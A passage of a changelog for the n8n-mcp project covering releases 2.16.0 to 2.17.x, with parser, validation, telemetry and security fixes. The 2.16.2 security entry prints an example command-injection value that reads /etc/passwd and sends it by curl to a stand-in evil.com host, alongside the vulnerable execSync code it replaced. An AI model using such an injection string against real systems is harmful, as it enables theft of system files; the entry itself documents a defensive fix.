4547 | - Checks for missing, invalid, outdated, and exceeding-maximum typeVersion values
4548 | - **Verification:** Workflows with invalid typeVersion now correctly fail validation
4549 |
4550 | - **Version 0 Rejection Bug (CRITICAL)**
4551 | - **Issue:** typeVersion 0 was incorrectly rejected as invalid
4552 | - **Impact:** Nodes with version 0 could not be validated, even though 0 is a valid version number
4553 | - **Root Cause:** `workflow-validator.ts:462` checked `typeVersion < 1` instead of `< 0`
4554 | - **Fix:** Changed validation to allow version 0 as a valid typeVersion
4555 | - **Verification:** Version 0 is now accepted as valid
4556 |
4557 | - **Duplicate baseDescription Bug in simple-parser.ts (HIGH)**
4558 | - **Issue:** EXACT same version extraction bug existed in simple-parser.ts
4559 | - **Impact:** Simple parser also returned incorrect versions for VersionedNodeType nodes
4560 | - **Root Cause:** `simple-parser.ts:195-196, 208-209` checked `baseDescription.defaultVersion`
4561 | - **Fix:** Applied identical fix as node-parser.ts with same priority chain
4562 | 1. Priority 1: Check `currentVersion` property
4563 | 2. Priority 2: Check `description.defaultVersion`
4564 | 3. Priority 3: Check `nodeVersions` (fallback to max)
4565 | - **Verification:** Simple parser now returns correct versions
4566 |
4567 | - **Unsafe Math.max() Usage (MEDIUM)**
4568 | - **Issue:** 10 instances of Math.max() without empty array or NaN validation
4569 | - **Impact:** Potential crashes with empty nodeVersions objects or invalid version data
4570 | - **Root Cause:** No validation before calling Math.max(...array)
4571 | - **Locations Fixed:**
4572 | - `simple-parser.ts`: 2 instances
4573 | - `node-parser.ts`: 5 instances
4574 | - `property-extractor.ts`: 3 instances
4575 | - **Fix:** Added defensive validation:
4576 | ```typescript
4577 | const versions = Object.keys(nodeVersions).map(Number);
4578 | if (versions.length > 0) {
4579 | const maxVersion = Math.max(...versions);
4580 | if (!isNaN(maxVersion)) {
4581 | return maxVersion.toString();
4582 | }
4583 | }
4584 | ```
4585 | - **Verification:** All Math.max() calls now have proper validation
4586 |
4587 | #### Technical Details
4588 |
4589 | **Version Extraction Fix:**
4590 | ```typescript
4591 | // BEFORE (BROKEN):
4592 | if (instance?.baseDescription?.defaultVersion) { // Property doesn't exist!
4593 | return instance.baseDescription.defaultVersion.toString();
4594 | }
4595 |
4596 | // AFTER (FIXED):
4597 | if (instance?.currentVersion !== undefined) { // What VersionedNodeType actually uses
4598 | return instance.currentVersion.toString();
4599 | }
4600 | if (instance?.description?.defaultVersion) { // Correct property name
4601 | return instance.description.defaultVersion.toString();
4602 | }
4603 | ```
4604 |
4605 | **typeVersion Validation Fix:**
4606 | ```typescript
4607 | // BEFORE (BROKEN):
4608 | // Skip ALL node repository validation for langchain nodes
4609 | if (normalizedType.startsWith('nodes-langchain.')) {
4610 | continue; // typeVersion validation never runs!
4611 | }
4612 |
4613 | // AFTER (FIXED):
4614 | // Validate typeVersion for ALL versioned nodes (including langchain)
4615 | if (nodeInfo.isVersioned) {
4616 | // ... typeVersion validation ...
4617 | }
4618 |
4619 | // THEN skip parameter validation for langchain nodes
4620 | if (normalizedType.startsWith('nodes-langchain.')) {
4621 | continue;
4622 | }
4623 | ```
4624 |
4625 | #### Impact
4626 |
4627 | - **Version Accuracy:** AI Agent and all VersionedNodeType nodes now return correct version (2.2, not 3)
4628 | - **Validation Reliability:** Invalid typeVersion values are now caught for langchain nodes
4629 | - **Workflow Stability:** Prevents creation of workflows with non-existent typeVersions
4630 | - **Database Rebuilt:** 536 nodes reloaded with corrected version data
4631 | - **Parser Consistency:** Both node-parser.ts and simple-parser.ts use identical version extraction logic
4632 | - **Robustness:** All Math.max() operations now protected against edge cases
4633 | - **Edge Case Support:** Version 0 nodes now properly supported
4634 |
4635 | #### Testing
4636 |
4637 | - **Unit Tests:** All tests passing (node-parser: 34 tests, simple-parser: 39 tests)
4638 | - Added tests for currentVersion priority
4639 | - Added tests for version 0 edge case
4640 | - Added tests for baseDescription rejection
4641 | - **Integration Tests:** Verified with n8n-mcp-tester agent
4642 | - Version consistency between `get_node_essentials` and `get_node_info` ✅
4643 | - typeVersion validation catches invalid values (99, 100000) ✅
4644 | - AI Agent correctly reports version "2.2" ✅
4645 | - **Code Review:** Deep analysis found and fixed 6 similar bugs
4646 | - 3 CRITICAL/HIGH priority bugs fixed in this release
4647 | - 3 LOW priority bugs identified for future work
4648 |
4649 | ## [2.17.3] - 2025-10-07
4650 |
4651 | ### 🔧 Validation
4652 |
4653 | **Fixed critical validation gap for AI model nodes with resourceLocator properties.**
4654 |
4655 | This release adds validation for `resourceLocator` type properties, fixing a critical issue where AI agents could create invalid configurations that passed validation but failed at runtime.
4656 |
4657 | #### Fixed
4658 |
4659 | - **resourceLocator Property Validation**
4660 | - **Issue:** No validation existed for `resourceLocator` type properties used in AI model nodes
4661 | - **Impact:**
4662 | - AI agents could create invalid configurations like `model: "gpt-4o-mini"` (string) instead of `model: {mode: "list", value: "gpt-4o-mini"}` (object)
4663 | - Invalid configs passed validation but failed at runtime in n8n
4664 | - Affected many langchain nodes: OpenAI Chat Model (v1.2+), Anthropic, Cohere, DeepSeek, Groq, Mistral, OpenRouter, xAI Grok, and embeddings nodes
4665 | - **Root Cause:** `validatePropertyTypes()` method in ConfigValidator only validated `string`, `number`, `boolean`, and `options` types - `resourceLocator` was completely missing
4666 | - **Fix:** Added comprehensive resourceLocator validation in `config-validator.ts:237-274`
4667 | - Validates value is an object (not string, number, null, or array)
4668 | - Validates required `mode` property exists and is a string
4669 | - Validates required `value` property exists
4670 | - Provides helpful error messages with exact fix suggestions
4671 | - Example error: `Property 'model' is a resourceLocator and must be an object with 'mode' and 'value' properties, got string`
4672 | - Example fix: `Change model to { mode: "list", value: "gpt-4o-mini" } or { mode: "id", value: "gpt-4o-mini" }`
4673 |
4674 | #### Added
4675 |
4676 | - Comprehensive resourceLocator validation with 14 test cases covering:
4677 | - String value rejection with helpful fix suggestions
4678 | - Null and array value rejection
4679 | - Missing `mode` or `value` property detection
4680 | - Invalid `mode` type detection (e.g., number instead of string)
4681 | - Invalid `mode` value validation (must be 'list', 'id', or 'url')
4682 | - Empty object detection (missing both mode and value)
4683 | - Extra properties handling (ignored gracefully)
4684 | - Valid resourceLocator acceptance for "list", "id", and "url" modes
4685 | - JSDoc documentation explaining resourceLocator structure and common mistakes
4686 | - All 29 tests passing (100% coverage for new validation logic)
4687 |
4688 | ## [2.17.1] - 2025-10-07
4689 |
4690 | ### 🔧 Telemetry
4691 |
4692 | **Critical fix: Docker and cloud deployments now maintain stable anonymous user IDs.**
4693 |
4694 | This release fixes a critical telemetry issue where Docker and cloud deployments generated new user IDs on every container recreation, causing 100-200x inflation in unique user counts and preventing accurate retention metrics.
4695 |
4696 | #### Fixed
4697 |
4698 | - **Docker/Cloud User ID Stability**
4699 | - **Issue:** Docker containers and cloud deployments generated new anonymous user ID on every container recreation
4700 | - **Impact:**
4701 | - Stdio mode: ~1000x user ID inflation per month (with --rm flag)
4702 | - HTTP mode: ~180x user ID inflation per month (6 releases/day)
4703 | - Telemetry showed 3,996 "unique users" when actual number was likely ~2,400-2,800
4704 | - 78% single-session rate and 5.97% Week 1 retention were inflated by duplicates
4705 | - **Root Cause:** Container hostnames change on recreation, persistent config files lost with ephemeral containers
4706 | - **Fix:** Use host's `/proc/sys/kernel/random/boot_id` for stable identification
4707 | - boot_id is stable across container recreations (only changes on host reboot)
4708 | - Available in all Linux containers (Alpine, Ubuntu, Node, etc.)
4709 | - Readable by non-root users
4710 | - Defensive fallback chain:
4711 | 1. boot_id (stable across container updates)
4712 | 2. Combined host signals (CPU cores, memory, kernel version)
4713 | 3. Generic Docker ID (allows aggregate statistics)
4714 | - **Environment Detection:**
4715 | - IS_DOCKER=true triggers boot_id method
4716 | - Auto-detects cloud platforms: Railway, Render, Fly.io, Heroku, AWS, Kubernetes, GCP, Azure
4717 | - Local installations continue using file-based method with hostname
4718 | - **Zero Configuration:** No user action required, automatic environment detection
4719 |
4720 | #### Added
4721 |
4722 | - `TelemetryConfigManager.generateDockerStableId()` - Docker/cloud-specific ID generation
4723 | - `TelemetryConfigManager.readBootId()` - Read and validate boot_id from /proc
4724 | - `TelemetryConfigManager.generateCombinedFingerprint()` - Fallback fingerprinting
4725 | - `TelemetryConfigManager.isCloudEnvironment()` - Auto-detect 8 cloud platforms
4726 |
4727 | ### Testing
4728 |
4729 | - **Unit Tests:** 18 new tests for boot_id functionality, environment detection, fallback chain
4730 | - **Integration Tests:** 16 new tests for actual file system operations, Docker detection, cloud platforms
4731 | - **Coverage:** All 34 new tests passing (100%)
4732 |
4733 | ## [2.17.0] - 2025-01-06
4734 |
4735 | ### 🤖 AI Workflow Validation
4736 |
4737 | **Major enhancement: Comprehensive AI Agent workflow validation now working correctly.**
4738 |
4739 | This release fixes critical bugs that caused ALL AI-specific validation to be silently skipped. Before this fix, 0% of AI validation was functional.
4740 |
4741 | #### Fixed
4742 |
4743 | - **🚨 CRITICAL: Node Type Normalization Bug (HIGH-01, HIGH-04, HIGH-08)**
4744 | - **Issue:** All AI validation was silently skipped due to node type comparison mismatch
4745 | - **Root Cause:** `NodeTypeNormalizer.normalizeToFullForm()` returns SHORT form (`nodes-langchain.agent`) but validation code compared against FULL form (`@n8n/n8n-nodes-langchain.agent`)
4746 | - **Impact:** Every comparison returned FALSE, causing zero AI validations to execute
4747 | - **Affected Validations:**
4748 | - Missing language model detection (HIGH-01) - Never triggered
4749 | - AI tool connection detection (HIGH-04) - Never triggered, false warnings
4750 | - Streaming mode validation (HIGH-08) - Never triggered
4751 | - All 13 AI tool sub-node validators - Never triggered
4752 | - Chat Trigger validation - Never triggered
4753 | - Basic LLM Chain validation - Never triggered
4754 | - **Fix:** Updated 21 node type comparisons to use SHORT form
4755 | - `ai-node-validator.ts`: 7 comparison fixes
4756 | - `ai-tool-validators.ts`: 14 comparison fixes (13 validator keys + 13 switch cases)
4757 | - **Verification:** All 25 AI validator unit tests now passing (100%)
4758 |
4759 | - **🚨 HIGH-08: Incomplete Streaming Mode Validation**
4760 | - **Issue:** Only validated streaming FROM Chat Trigger, missed AI Agent's own `streamResponse` setting
4761 | - **Impact:** AI Agent with `options.streamResponse=true` and main output connections not detected
4762 | - **Fix:** Added validation for both scenarios:
4763 | - Chat Trigger with `responseMode="streaming"` → AI Agent → main output
4764 | - AI Agent with `options.streamResponse=true` → main output
4765 | - **Error Code:** `STREAMING_WITH_MAIN_OUTPUT` with clear error message
4766 | - **Verification:** 2 test scenarios pass (Chat Trigger + AI Agent own setting)
4767 |
4768 | - **🐛 MEDIUM-02: get_node_essentials Examples Retrieval**
4769 | - **Issue:** `get_node_essentials` with `includeExamples=true` always returned empty examples array
4770 | - **Root Cause:** Inconsistent `workflowNodeType` construction between result object and examples query
4771 | - **Impact:** Examples existed in database but query used wrong node type (e.g., `n8n-nodes-base.agent` instead of `@n8n/n8n-nodes-langchain.agent`)
4772 | - **Fix:** Use pre-computed `result.workflowNodeType` instead of reconstructing it
4773 | - **Verification:** Examples now retrieved correctly, matching `search_nodes` behavior
4774 |
4775 | #### Added
4776 |
4777 | - **AI Agent Validation:**
4778 | - Missing language model connection detection with code `MISSING_LANGUAGE_MODEL`
4779 | - AI tool connection validation (no more false "no tools connected" warnings)
4780 | - Streaming mode constraint enforcement for both Chat Trigger and AI Agent scenarios
4781 | - Memory connection validation (max 1 allowed)
4782 | - Output parser validation
4783 | - System message presence checks (info level)
4784 | - High `maxIterations` warnings
4785 |
4786 | - **Chat Trigger Validation:**
4787 | - Streaming mode target validation (must connect to AI Agent)
4788 | - Main output connection validation for streaming mode
4789 | - Connection existence checks
4790 |
4791 | - **Basic LLM Chain Validation:**
4792 | - Language model connection requirement
4793 | - Prompt text validation
4794 |
4795 | - **AI Tool Sub-Node Validation:**
4796 | - 13 specialized validators for AI tools (HTTP Request Tool, Code Tool, Vector Store Tool, etc.)
4797 | - Tool description validation
4798 | - Credentials validation
4799 | - Configuration-specific checks
4800 |
4801 | #### Changed
4802 |
4803 | - **Breaking:** AI validation now actually runs (was completely non-functional before)
4804 | - **Validation strictness:** All AI-specific validations now enforce n8n's actual requirements
4805 | - **Error messages:** Clear, actionable messages with error codes for programmatic handling
4806 |
4807 | ### Testing
4808 |
4809 | - **Unit Tests:** 25/25 AI validator tests passing (100%)
4810 | - **Test Improvement:** Overall test pass rate improved from 37.5% to 62.5%+ (+67% improvement)
4811 | - **Debug Tests:** 3/3 debug scenarios passing
4812 |
4813 | ### Documentation
4814 |
4815 | - Added comprehensive test scenarios in `PHASE_2_TEST_SCENARIOS.md`
4816 | - Added Phase 1-2 completion summary in `PHASE_1_2_SUMMARY.md`
4817 | - Added detailed Phase 2 analysis in `PHASE_2_COMPLETE.md`
4818 | - Updated README.md with AI workflow validation features
4819 |
4820 | ## [2.16.3] - 2025-01-06
4821 |
4822 | ### 🔒 Security
4823 |
4824 | **HIGH priority security enhancements. Recommended for all production deployments.**
4825 |
4826 | This release implements 2 high-priority security protections identified in the security audit (Issue #265 PR #2):
4827 |
4828 | - **🛡️ HIGH-02: Rate Limiting for Authentication**
4829 | - **Issue:** No rate limiting on authentication endpoints allowed brute force attacks
4830 | - **Impact:** Attackers could make unlimited authentication attempts
4831 | - **Fix:** Implemented express-rate-limit middleware for authentication endpoint
4832 | - Default: 20 attempts per 15 minutes per IP
4833 | - Configurable via `AUTH_RATE_LIMIT_WINDOW` and `AUTH_RATE_LIMIT_MAX`
4834 | - Per-IP tracking with standard rate limit headers (RateLimit-Limit, RateLimit-Remaining, RateLimit-Reset)
4835 | - JSON-RPC formatted error responses (429 Too Many Requests)
4836 | - Automatic IP detection behind reverse proxies (requires TRUST_PROXY=1)
4837 | - **Verification:** 4 integration tests with sequential request patterns
4838 | - **See:** https://github.com/czlonkowski/n8n-mcp/issues/265 (HIGH-02)
4839 |
4840 | - **🛡️ HIGH-03: SSRF Protection for Webhooks**
4841 | - **Issue:** Webhook triggers vulnerable to Server-Side Request Forgery attacks
4842 | - **Impact:** Attackers could access internal networks, localhost services, and cloud metadata
4843 | - **Fix:** Implemented three-mode SSRF protection system with DNS rebinding prevention
4844 | - **Strict mode** (default): Block localhost + private IPs + cloud metadata (production)
4845 | - **Moderate mode**: Allow localhost, block private IPs + cloud metadata (local development)
4846 | - **Permissive mode**: Allow localhost + private IPs, block cloud metadata (internal testing)
4847 | - Cloud metadata endpoints **ALWAYS blocked** in all modes (169.254.169.254, metadata.google.internal, etc.)
4848 | - DNS rebinding prevention through hostname resolution before validation
4849 | - IPv6 support with link-local (fe80::/10) and unique local (fc00::/7) address blocking
4850 | - **Configuration:** Set via `WEBHOOK_SECURITY_MODE` environment variable
4851 | - **Locations Updated:**
4852 | - `src/utils/ssrf-protection.ts` - Core protection logic
4853 | - `src/services/n8n-api-client.ts:219` - Webhook trigger validation
4854 | - **Verification:** 25 unit tests covering all three modes, DNS rebinding, IPv6
4855 | - **See:** https://github.com/czlonkowski/n8n-mcp/issues/265 (HIGH-03)
4856 |
4857 | ### Added
4858 | - **Configuration:** `AUTH_RATE_LIMIT_WINDOW` - Rate limit window in milliseconds (default: 900000 = 15 minutes)
4859 | - **Configuration:** `AUTH_RATE_LIMIT_MAX` - Max authentication attempts per window per IP (default: 20)
4860 | - **Configuration:** `WEBHOOK_SECURITY_MODE` - SSRF protection mode (strict/moderate/permissive, default: strict)
4861 | - **Documentation:** Comprehensive security features section in all deployment guides
4862 | - HTTP_DEPLOYMENT.md - Rate limiting and SSRF protection configuration
4863 | - DOCKER_README.md - Security features section with environment variables
4864 | - DOCKER_TROUBLESHOOTING.md - "Webhooks to Local n8n Fail" troubleshooting guide
4865 | - RAILWAY_DEPLOYMENT.md - Security configuration recommendations
4866 | - README.md - Local n8n configuration section for moderate mode
4867 |
4868 | ### Changed
4869 | - **Security:** All webhook triggers now validate URLs through SSRF protection before execution
4870 | - **Security:** HTTP authentication endpoint now enforces rate limiting per IP address
4871 | - **Dependencies:** Added `express-rate-limit@^7.1.5` for rate limiting functionality
4872 |
4873 | ### Fixed
4874 | - **Security:** IPv6 localhost URLs (`http://[::1]/webhook`) now correctly stripped of brackets before validation
4875 | - **Security:** Localhost detection now properly handles all localhost variants (127.x.x.x, ::1, localhost, etc.)
4876 |
4877 | ## [2.16.2] - 2025-10-06
4878 |
4879 | ### 🔒 Security
4880 |
4881 | **CRITICAL security fixes for production deployments. All users should upgrade immediately.**
4882 |
4883 | This release addresses 2 critical security vulnerabilities identified in the security audit (Issue #265):
4884 |
4885 | - **🚨 CRITICAL-02: Timing Attack Vulnerability**
4886 | - **Issue:** Non-constant-time string comparison in authentication allowed timing attacks
4887 | - **Impact:** Authentication tokens could be discovered character-by-character through statistical timing analysis (estimated 24-48 hours to compromise)
4888 | - **Attack Vector:** Repeated authentication attempts with carefully crafted tokens while measuring response times
4889 | - **Fix:** Implemented `crypto.timingSafeEqual` for all token comparisons
4890 | - **Locations Fixed:**
4891 | - `src/utils/auth.ts:27` - validateToken method
4892 | - `src/http-server-single-session.ts:1087` - Single-session HTTP auth
4893 | - `src/http-server.ts:315` - Fixed HTTP server auth
4894 | - **New Method:** `AuthManager.timingSafeCompare()` - constant-time token comparison utility
4895 | - **Verification:** 11 unit tests with timing variance analysis (<10% variance proven)
4896 | - **CVSS:** 8.5 (High) - Confirmed critical, requires authentication but trivially exploitable
4897 | - **See:** https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02)
4898 |
4899 | - **🚨 CRITICAL-01: Command Injection Vulnerability**
4900 | - **Issue:** User-controlled `nodeType` parameter injected into shell commands via `execSync`
4901 | - **Impact:** Remote code execution, data exfiltration, network scanning possible
4902 | - **Attack Vector:** Malicious nodeType like `test"; curl http://evil.com/$(cat /etc/passwd | base64) #`
4903 | - **Vulnerable Code (FIXED):** `src/utils/enhanced-documentation-fetcher.ts:567-590`
4904 | - **Fix:** Eliminated all shell execution, replaced with Node.js fs APIs
4905 | - Replaced `execSync()` with `fs.readdir()` (recursive, no shell)
4906 | - Added multi-layer input sanitization: `/[^a-zA-Z0-9._-]/g`
4907 | - Added directory traversal protection (blocks `..`, `/`, relative paths)
4908 | - Added `path.basename()` for additional safety
4909 | - Added final path verification (ensures result within expected directory)
4910 | - **Benefits:**
4911 | - ✅ 100% immune to command injection (no shell execution)
4912 | - ✅ Cross-platform compatible (no dependency on `find`/`grep`)
4913 | - ✅ Faster (no process spawning overhead)
4914 | - ✅ Better error handling and logging
4915 | - **Verification:** 9 integration tests covering all attack vectors
4916 | - **CVSS:** 8.8 (High) - Requires MCP access but trivially exploitable
4917 | - **See:** https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-01)
4918 |
4919 | ### Added
4920 |
4921 | - **Security Test Suite**
4922 | - Unit Tests: `tests/unit/utils/auth-timing-safe.test.ts` (11 tests)
4923 | - Timing variance analysis (proves <10% variance = constant-time)
4924 | - Edge cases: null, undefined, empty, very long tokens (10000 chars)
4925 | - Special characters, Unicode, whitespace handling
4926 | - Case sensitivity verification
4927 | - Integration Tests: `tests/integration/security/command-injection-prevention.test.ts` (9 tests)
4928 | - Command injection with all vectors (semicolon, &&, |, backticks, $(), newlines)
4929 | - Directory traversal prevention (parent dir, URL-encoded, absolute paths)
4930 | - Special character sanitization
4931 | - Null byte handling
4932 | - Legitimate operations (ensures fix doesn't break functionality)
4933 |
4934 | ### Changed
4935 |
4936 | - **Authentication:** All token comparisons now use timing-safe algorithm
4937 | - **Documentation Fetcher:** Now uses Node.js fs APIs instead of shell commands
4938 | - **Security Posture:** Production-ready with hardened authentication and input validation
4939 |
4940 | ### Technical Details
4941 |
4942 | **Timing-Safe Comparison Implementation:**
4943 | ```typescript
4944 | // NEW: Constant-time comparison utility
4945 | static timingSafeCompare(plainToken: string, expectedToken: string): boolean {
4946 | try {
4947 | if (!plainToken || !expectedToken) return false;
4948 |
4949 | const plainBuffer = Buffer.from(plainToken, 'utf8');
4950 | const expectedBuffer = Buffer.from(expectedToken, 'utf8');
4951 |
4952 | if (plainBuffer.length !== expectedBuffer.length) return false;
4953 |
4954 | // Uses crypto.timingSafeEqual for constant-time comparison
4955 | return crypto.timingSafeEqual(plainBuffer, expectedBuffer);
4956 | } catch {
4957 | return false;
4958 | }
4959 | }
4960 |
4961 | // USAGE: Replace token !== this.authToken with:
4962 | const isValidToken = this.authToken &&
4963 | AuthManager.timingSafeCompare(token, this.authToken);
4964 | ```
4965 |
4966 | **Command Injection Fix:**
4967 | ```typescript
4968 | // BEFORE (VULNERABLE):
4969 | execSync(`find ${this.docsPath}/docs/integrations/builtin -name "${nodeType}.md"...`)
4970 |
4971 | // AFTER (SECURE):
4972 | const sanitized = nodeType.replace(/[^a-zA-Z0-9._-]/g, '');
4973 | if (sanitized.includes('..') || sanitized.startsWith('.') || sanitized.startsWith('/')) {
4974 | logger.warn('Path traversal attempt blocked', { nodeType, sanitized });
4975 | return null;
4976 | }
4977 | const safeName = path.basename(sanitized);
4978 | const files = await fs.readdir(searchPath, { recursive: true });
4979 | const match = files.find(f => f.endsWith(`${safeName}.md`) && !f.includes('credentials'));
4980 | ```
4981 |
4982 | ### Breaking Changes
4983 |
4984 | **None** - All changes are backward compatible. No API changes, no environment variable changes, no database migrations.
4985 |
4986 | ### Migration Guide
4987 |
4988 | **No action required** - This is a drop-in security fix. Simply upgrade:
4989 |
4990 | ```bash
4991 | npm install [email protected]
4992 | # or
4993 | npm update n8n-mcp
4994 | ```
4995 |
4996 | ### Deployment Notes
4997 |
4998 | **Recommended Actions:**
4999 | 1. ✅ **Upgrade immediately** - These are critical security fixes
5000 | 2. ✅ **Review logs** - Check for any suspicious authentication attempts or unusual nodeType parameters
5001 | 3. ✅ **Rotate tokens** - Consider rotating AUTH_TOKEN after upgrade (optional but recommended)
5002 |
5003 | **No configuration changes needed** - The fixes are transparent to existing deployments.
5004 |
5005 | ### Test Results
5006 |
5007 | **All Tests Passing:**
5008 | - Unit tests: 11/11 ✅ (timing-safe comparison)
5009 | - Integration tests: 9/9 ✅ (command injection prevention)
5010 | - Timing variance: <10% ✅ (proves constant-time)
5011 | - All existing tests: ✅ (no regressions)
5012 |
5013 | **Security Verification:**
5014 | - ✅ No command execution with malicious inputs
5015 | - ✅ Timing attack variance <10% (statistical analysis over 1000 samples)
5016 | - ✅ Directory traversal blocked (parent dir, absolute paths, URL-encoded)
5017 | - ✅ All special characters sanitized safely
5018 |
5019 | ### Audit Trail
5020 |
5021 | **Security Audit:** Issue #265 - Third-party security audit identified 25 issues
5022 | **This Release:** Fixes 2 CRITICAL issues (CRITICAL-01, CRITICAL-02)
5023 | **Remaining Work:** 20 issues to be addressed in subsequent releases (HIGH, MEDIUM, LOW priority)
5024 |
5025 | ### References
5026 |
5027 | - Security Audit: https://github.com/czlonkowski/n8n-mcp/issues/265
5028 | - Implementation Plan: `docs/local/security-implementation-plan-issue-265.md`
5029 | - Audit Analysis: `docs/local/security-audit-analysis-issue-265.md`
5030 |
5031 | ---
5032 |
5033 | ## [2.16.1] - 2025-10-06
5034 |
5035 | ### Fixed
5036 |
5037 | - **🐛 Issue #277: Missing Signal Handlers in stdio Mode**
5038 | - **Problem**: Node.js processes remained orphaned when Claude Desktop quit
5039 | - **Platform**: Primarily affects Windows 11, but improves reliability on all platforms
5040 | - **Root Cause**: stdio mode never registered SIGTERM/SIGINT signal handlers
5041 | - **Impact**: Users had to manually kill processes via Task Manager after quitting Claude Desktop
5042 | - **Fix**: Added comprehensive graceful shutdown handlers for stdio mode
5043 | - SIGTERM, SIGINT, and SIGHUP signal handlers
5044 | - stdin end/close event handlers (PRIMARY shutdown mechanism for Claude Desktop)
5045 | - Robust container detection: Checks IS_DOCKER/IS_CONTAINER env vars + filesystem markers
5046 | - Supports Docker, Kubernetes, Podman, and other container runtimes
5047 | - Container mode: Signal handlers only (prevents detached mode premature shutdown)
5048 | - Claude Desktop mode: stdin + signal handlers (comprehensive coverage)
5049 | - Race condition protection with `isShuttingDown` guard
5050 | - stdin cleanup with null safety (pause + destroy)
5051 | - Graceful shutdown timeout (1000ms) to allow cleanup to complete
5052 | - Error handling with try-catch for stdin registration and shutdown
5053 | - Shutdown trigger logging for debugging (SIGTERM vs stdin close)
5054 | - Production-hardened based on comprehensive code review
5055 | - **Location**: `src/mcp/index.ts:91-132`
5056 | - **Resources Cleaned**: Cache timers and database connections properly closed via existing `shutdown()` method
5057 | - **Code Review**: Approved with recommendations implemented
5058 | - **Reporter**: @Eddy-Chahed
5059 |
5060 | ## [2.16.0] - 2025-10-06
5061 |
5062 | ### Added
5063 |
5064 | - **🎉 Issue #272 Phase 1: Connection Operations UX Improvements**
5065 |
5066 | **New: `rewireConnection` Operation**
5067 | - Intuitive operation for changing connection target from one node to another
5068 | - Syntax: `{type: "rewireConnection", source: "Node", from: "OldTarget", to: "NewTarget"}`
5069 | - Internally uses remove + add pattern but with clearer semantics
5070 | - Supports smart parameters (branch, case) for multi-output nodes
5071 | - Validates all nodes exist before making changes
5072 | - 8 comprehensive unit tests covering all scenarios
5073 |
5074 | **New: Smart Parameters for Multi-Output Nodes**
5075 | - **branch parameter for IF nodes**: Use `branch: "true"` or `branch: "false"` instead of `sourceIndex: 0/1`
5076 | - **case parameter for Switch nodes**: Use `case: 0`, `case: 1`, etc. instead of `sourceIndex`
5077 | - Semantic, intuitive syntax that matches node behavior
5078 | - Explicit sourceIndex overrides smart parameters if both provided
5079 | - Works with both `addConnection` and `rewireConnection` operations
5080 | - 8 comprehensive unit tests + 11 integration tests against real n8n API
5081 |
5082 | ### Changed
5083 |
5084 | - **⚠️ BREAKING: Removed `updateConnection` operation**
5085 | - Operation removed completely (type definition, implementation, validation, tests)
5086 | - Migration: Use `rewireConnection` or `removeConnection` + `addConnection` instead
5087 | - Reason: Confusing operation that was error-prone and rarely needed
5088 | - All tests updated (137 tests passing)
5089 |
5090 | ### Fixed
5091 |
5092 | - **🐛 CRITICAL: Issue #275, #136 - TypeError in getNodeTypeAlternatives (57.4% of production errors)**
5093 | - **Impact**: Eliminated 323 out of 563 production errors, helping 127 users (76.5% of affected users)
5094 | - **Resolves Issue #136**: "Partial Workflow Updates fail with 'Cannot convert undefined or null to object'" - defensive type guards prevent these crashes
5095 | - **Root Cause**: `getNodeTypeAlternatives()` called string methods without validating nodeType parameter
5096 | - **Fix**: Added defense-in-depth protection:
5097 | - **Layer 1**: Type guard in `getNodeTypeAlternatives()` returns empty array for invalid inputs
5098 | - **Layer 2**: Enhanced `validateToolParamsBasic()` to catch empty strings
5099 | - **Affected Tools**: `get_node_essentials` (208 errors → 0), `get_node_info` (115 errors → 0), `get_node_documentation` (17 errors → 0)
5100 | - **Testing**: 21 comprehensive unit tests, verified with n8n-mcp-tester agent
5101 | - **Commit**: f139d38
5102 |
5103 | - **Critical Bug: Smart Parameter Implementation**
5104 | - **Bug #1**: `branch` parameter initially mapped to `sourceOutput` instead of `sourceIndex`
5105 | - **Impact**: IF node connections went to wrong output (expected `IF.main[0]`, got `IF.true`)
5106 | - **Root Cause**: Misunderstood n8n's IF node connection structure
5107 | - **Fix**: Changed to correctly map `branch="true"` → `sourceIndex=0`, `branch="false"` → `sourceIndex=1`
5108 | - **Discovered by**: n8n-mcp-tester agent testing against real n8n API
5109 | - **Commit**: a7bfa73
5110 |
5111 | - **Critical Bug: Zod Schema Stripping Parameters**
5112 | - **Bug #2**: `branch`, `case`, `from`, `to` parameters stripped by Zod validation
5113 | - **Impact**: Parameters never reached diff engine, smart parameters silently failed
5114 | - **Root Cause**: Parameters not defined in Zod schema in handlers-workflow-diff.ts
5115 | - **Fix**: Added missing parameters to schema
5116 | - **Discovered by**: n8n-mcp-tester agent
5117 | - **Commit**: aeaba3b
5118 |
5119 | - **🔥 CRITICAL Bug: Array Index Corruption in Multi-Output Nodes**
5120 | - **Bug #3**: `applyRemoveConnection()` filtered empty arrays, causing index shifting in multi-output nodes
5121 | - **Impact**: PRODUCTION-BREAKING for Switch, IF with multiple handlers, Merge nodes
5122 | - **Severity**: Connections routed to wrong outputs after rewiring
5123 | - **Example**: Switch with 4 outputs `[[H0], [H1], [H2], [H3]]` → remove H1 → `[[H0], [H2], [H3]]` (indices shifted!)
5124 | - **Root Cause**: Line 697 filtered empty arrays: `connections.filter(conns => conns.length > 0)`
5125 | - **Fix**: Only remove trailing empty arrays, preserve intermediate ones to maintain index integrity
5126 | - **Code Change**:
5127 | ```typescript
5128 | // Before (BUGGY):
5129 | workflow.connections[node][output] = connections.filter(conns => conns.length > 0);
5130 |
5131 | // After (FIXED):
5132 | while (connections.length > 0 && connections[connections.length - 1].length === 0) {
5133 | connections.pop();
5134 | }
5135 | ```
5136 | - **Testing**: Added integration test verifying Switch node rewiring preserves all indices
5137 | - **Discovered by**: n8n-mcp-tester agent during comprehensive testing
5138 | - **Commit**: aeb7410
5139 |
5140 | - **TypeScript Compilation**: Added missing type annotations in workflow diff tests (Commit: 653f395)
5141 |
5142 | ### Improved
5143 |
5144 | - **Integration Testing**: Created comprehensive integration tests against real n8n API
5145 | - 11 tests covering IF nodes, Switch nodes, and rewireConnection
5146 | - Tests validate actual n8n workflow structure, not in-memory objects
5147 | - Would have caught both smart parameter bugs that unit tests missed
5148 | - File: `tests/integration/n8n-api/workflows/smart-parameters.test.ts`
5149 | - **Commit**: 34bafe2
5150 |
5151 | - **Documentation**: Updated MCP tool documentation
5152 | - Removed `updateConnection` references
5153 | - Added `rewireConnection` with 4 examples
5154 | - Added smart parameters section with IF and Switch examples
5155 | - Updated best practices and pitfalls
5156 | - Removed version references (AI agents see current state)
5157 | - Files: `src/mcp/tool-docs/workflow_management/n8n-update-partial-workflow.ts`, `docs/workflow-diff-examples.md`
5158 | - **Commit**: f78f53e
5159 |
5160 | ### Test Coverage
5161 |
5162 | - **Total Tests**: 178 tests passing (158 unit + 20 integration against real n8n API)
